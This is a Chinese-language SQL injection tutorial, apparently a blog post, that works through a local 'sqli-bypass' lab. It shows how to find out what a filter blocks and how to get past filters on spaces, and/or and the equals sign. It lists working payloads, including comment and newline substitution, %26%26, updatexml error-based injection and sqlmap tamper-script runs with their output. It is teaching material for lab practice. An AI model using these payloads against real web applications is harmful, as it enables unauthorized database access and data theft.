Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)http://t.csdnimg.cn/lHJ5D
书接上文,之前向大家讲解了在SQL注入过程中如何绕过各类常见的过滤措施,这里一方再结合相关靶场(靶场资源见本文的资源链接)来为大家深入解析Bypass的各种姿势🔍🔎-----
一.index1.php 空格被过滤
一.1 如何判断过滤内容?
输入正常数据时的回显如下图:
通过如下的验证手段,初步断定?id=1这里存在注入,而且可能是联合注入
渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)http://t.csdnimg.cn/cfIyl
1. http://127.0.0.1/sqli-bypass/index5.php?id=1
2. http://127.0.0.1/sqli-bypass/index5.php?id=2 回显正常但内容不一样
1和2说明这里可能存在联合注入
3. http://127.0.0.1/sqli-bypass/index5.php?id=1' 无回显
4. http://127.0.0.1/sqli-bypass/index5.php?id=1'' 回显正常
3和4说明这里的注入点可能是字符型的
5. http://127.0.0.1/sqli-bypass/index5.php?id=1/1 回显正常
6. http://127.0.0.1/sqli-bypass/index5.php?id=1/0 回显正常
5和6说明不是数字型注入
现在试着构造轮子?id=1' and 1=1--+
靶场识别出来了我们的小伎俩,不要慌,正所谓“道高一尺魔高一丈”😇,这里很有可能是对我们输入的部分内容进行了过滤,试着判断过滤的是那部分内容----
1. 是不是过滤了注释?
http://127.0.0.1/sqli-bypass/index1.php?id=1'--+
显示“请勿SQL注入”,不能用--+来注释
http://127.0.0.1/sqli-bypass/index1.php?id=1'#
显示400错误,可能不是注释的问题
http://127.0.0.1/sqli-bypass/index1.php?id=1'%23
显示正常,需要将#替换为%23!
2. 是不是过滤了“=”?
http://127.0.0.1/sqli-bypass/index1.php?id=1' and 1 like '1
显示“请勿SQL注入”,可能不是=的问题
3. 是不是过滤了and/or
http://127.0.0.1/sqli-bypass/index1.php?id=1' anand 1 like '1
http://127.0.0.1/sqli-bypass/index1.php?id=1' %26%26 1 like '1
显示“请勿SQL注入”,可能不是and/or的问题
4. 是不是过滤了空格?
4.1.使用%0a(换行)代替空格:
http://127.0.0.1/sqli-bypass/index1.php?id=1'%0aand%0a1%0alike%0a'1
回显正常😍
4.2.使用/**/代替空格:
http://127.0.0.1/sqli-bypass/index1.php?id=1'/**/and/**/1/**/like/**/'1
回显正常😍
4.3.使用/*!1=1*/代替空格:
http://127.0.0.1/sqli-bypass/index1.php?id=1'and/*!1=1*/%23
回显正常😍 %23(#注释符)
通过以上的思考过程,成功验证出靶场第一关对空格进行了过滤,当然,实战中的验证手段很有可能不会这么单一,有时会同时过滤空格、等号等运算符、and/or,还有的甚至会限制字节长度,这就需要我们灵活应对、见招拆招了🕵️♂️🕵️♀️
一.2 获取想要的数据:
手工注入:
这里假定我们想要获取的数据是数据库名---(实际的漏洞报告中一般也是像这样点到即止,只须获取到user()、database()这样的数据,证明这里存在相应的漏洞即可,至于获取username、password这样的敏感数据时一定要慎之又慎!👮♂️👮♀️)
借助BurpSuite进行爆破:
GET /sqli-bypass/index1.php?id=1'and/*!mid(schema(),1,1)='❤'*/%23 HTTP/1.1
成功爆破出数据库名“dvwa”😍
借助SQLMAP进行注入:
SQLMAP的用法详解点这里:(。・∀・)ノ゙👇
渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇http://t.csdnimg.cn/bT5Vx如果不使用脚本而直接进行扫描的话,会发现由于有过滤措施而导致SQLMAP注入失败,这时我们就需要利用SQLMAP的--tamper参数,并指定专门针对空格被过滤而写的SQLMAP脚本
(有关SQLMAP绕过WAF的脚本名称请看本文的资源链接,这里先给出部分截图👇)
没有指定脚本时,SQLMAP会提示失败:
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master>
python sqlmap.py -u 127.0.0.1/sqli-bypass/index1.php?id=1
___
__H__
___ ___[,]_____ ___ ___ {1.7.5#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[11:52:05] [WARNING] GET parameter 'id' does not seem to be injectable
[11:52:05] [CRITICAL] all tested parameters do not appear to be injectable.
Try to increase values for '--level'/'--risk' options if you wish to perform more tests.
If you suspect that there is some kind of protection mechanism
involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 11:52:05 /2023-10-17/
如下,需要再最后加上 --tamper space2mysqlblank
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master>
python sqlmap.py -u http://127.0.0.1/sqli-bypass/index1.php?id=1
--tamper space2mysqlblank --dbms=mysql
最终SQLMAP给出的结果如下(可以发现只是给出了找出的SQL注入类型,具体的操作还是要依靠手工注入):
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind (布尔盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5648=5648 AND 'uDbk'='uDbk
Type: UNION query (联合注入)
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-2083' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(CONCAT('qzpqq','fmJzVFonQcCzKJYtIBWhIXkiFbcCjXyxFnmTHiSs'),'qqkjq'),NULL,NULL,NULL-- KmBt
---
总之,使用SQLMAP有时可以帮我们直接得到结果,但有时只能起到辅助作用,所以我们还是练好手工注入的基本功吧💪
二.index2.php and/or被过滤
二.1 如何判断过滤内容?
通过以下思考过程,很容易判断出这一关过滤了and:
1. GET /sqli-bypass/index2.php?id=1'--+ HTTP/1.1
回显正常,说明--+注释可用
2.GET /sqli-bypass/index2.php?id=1'and+1=1--+ HTTP/1.1
回显“请勿SQL注入!!!”
3.GET /sqli-bypass/index2.php?id=1'%26%26+1=1--+ HTTP/1.1
回显正常,这里使用&&来代替and,而&&的URL编码就是%26%26
二.2 获取想要的数据:
手工注入:
GET /sqli-bypass/index2.php?id=1'%26%26+mid(database(),1,1)='d'--+ HTTP/1.1
回显正常,说明数据库第一个字母为d
借助SQLMAP进行注入:
由于 这一关被过滤的是and,所以不能再用第一关的脚本,这里需要使用--tamper charencode(URL编码)
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master>
python sqlmap.py -u http://127.0.0.1/sqli-bypass/index2.php?id=1 --tamper charencode
___
__H__
___ ___[)]_____ ___ ___ {1.7.5#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind (布尔盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3718=3718 AND 'oVFi'='oVFi
Type: time-based blind (时间盲注)
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 5617 FROM (SELECT(SLEEP(5)))jFNg) AND 'yguL'='yguL
Type: UNION query (联合注入)
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-4359' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162717a71,0x4a664957546d657148454d694c71716172484a577877564649497a6471794e697553614c464b654b,0x7162767a71),NULL,NULL,NULL,NULL-- -
---
三.index3.php
这一关和index2.php一样😊,都是过滤了and
四.index4.php回显中有错误信息:
这一关输入1'的时候发现回显有报错信息,或许可以利用报错注入----
同样地,这一关仍旧是过滤了and,只是这一关我们可以利用某些报错函数来进行报错注入---
GET /sqli-bypass/index4.php?id=1'%26%26(1=1)--+ HTTP/1.1
回显正常,这里and(1=1)实际上等同于and 1=1
GET /sqli-bypass/index4.php?
id=1'%26%26(updatexml(1,concat(0x7e,database()),1))--+ HTTP/1.1
利用updatexml()进行报错注入📐
响应包中给出了报错信息:
XPATH syntax error: '~dvwa'
五,index5.php 等号和and被过滤
当输入and(1=1)--+时出现了像下面这样的报错信息:
You have an error in your SQL syntax;
check the manual that corresponds to
your MySQL server version for the right
syntax to use near '(11)-- ' limit 1' at line 1
发现后台将(1=1)直接变为(11)了,也就是将等号给过滤掉了,这里可以用(1 like 1)代替:
GET /sqli-bypass/index5.php?id=1'%26%26(1+like+1)--+ HTTP/1.1
回显正常,但是这里有个不足之处,使用%26%26(1=1)--+时也会正常回显(*≧︶≦))( ̄▽ ̄* )ゞ
GET /sqli-bypass/index5.php?id=1'%26%26(1=1)--+ HTTP/1.1
回显正常
知道了过滤内容后,就可以获取想要的数据啦(❤ ω ❤):
GET /sqli-bypass/index5.php?id=1'%26%26(mid(schema(),1,1)like+'d')--+ HTTP/1.1
回显正常,下面试试报错注入:
GET /sqli-bypass/index5.php?id=1'%26%26(updatexml(1,concat(0x7e,schema()),1))--+
成功爆出数据库名:XPATH syntax error: '~dvwa'
总结:判断过滤内容的思路:
1.首先要先判断注释能否使用
?id=1'--+和?is=1'#交替结合对应的URL编码尝试一番
2.接着判断and/or能否使用
在MySQL中and可以用&&(%26%26)代替,or可以用||(%7c%7c)代替
一般来说,在盲注过程中需要使用and
3.最后判断等号、空格、特殊函数能否使用
等号可以用like、in、between...等代替
空格可以用%0a(换行符)、 /**/等代替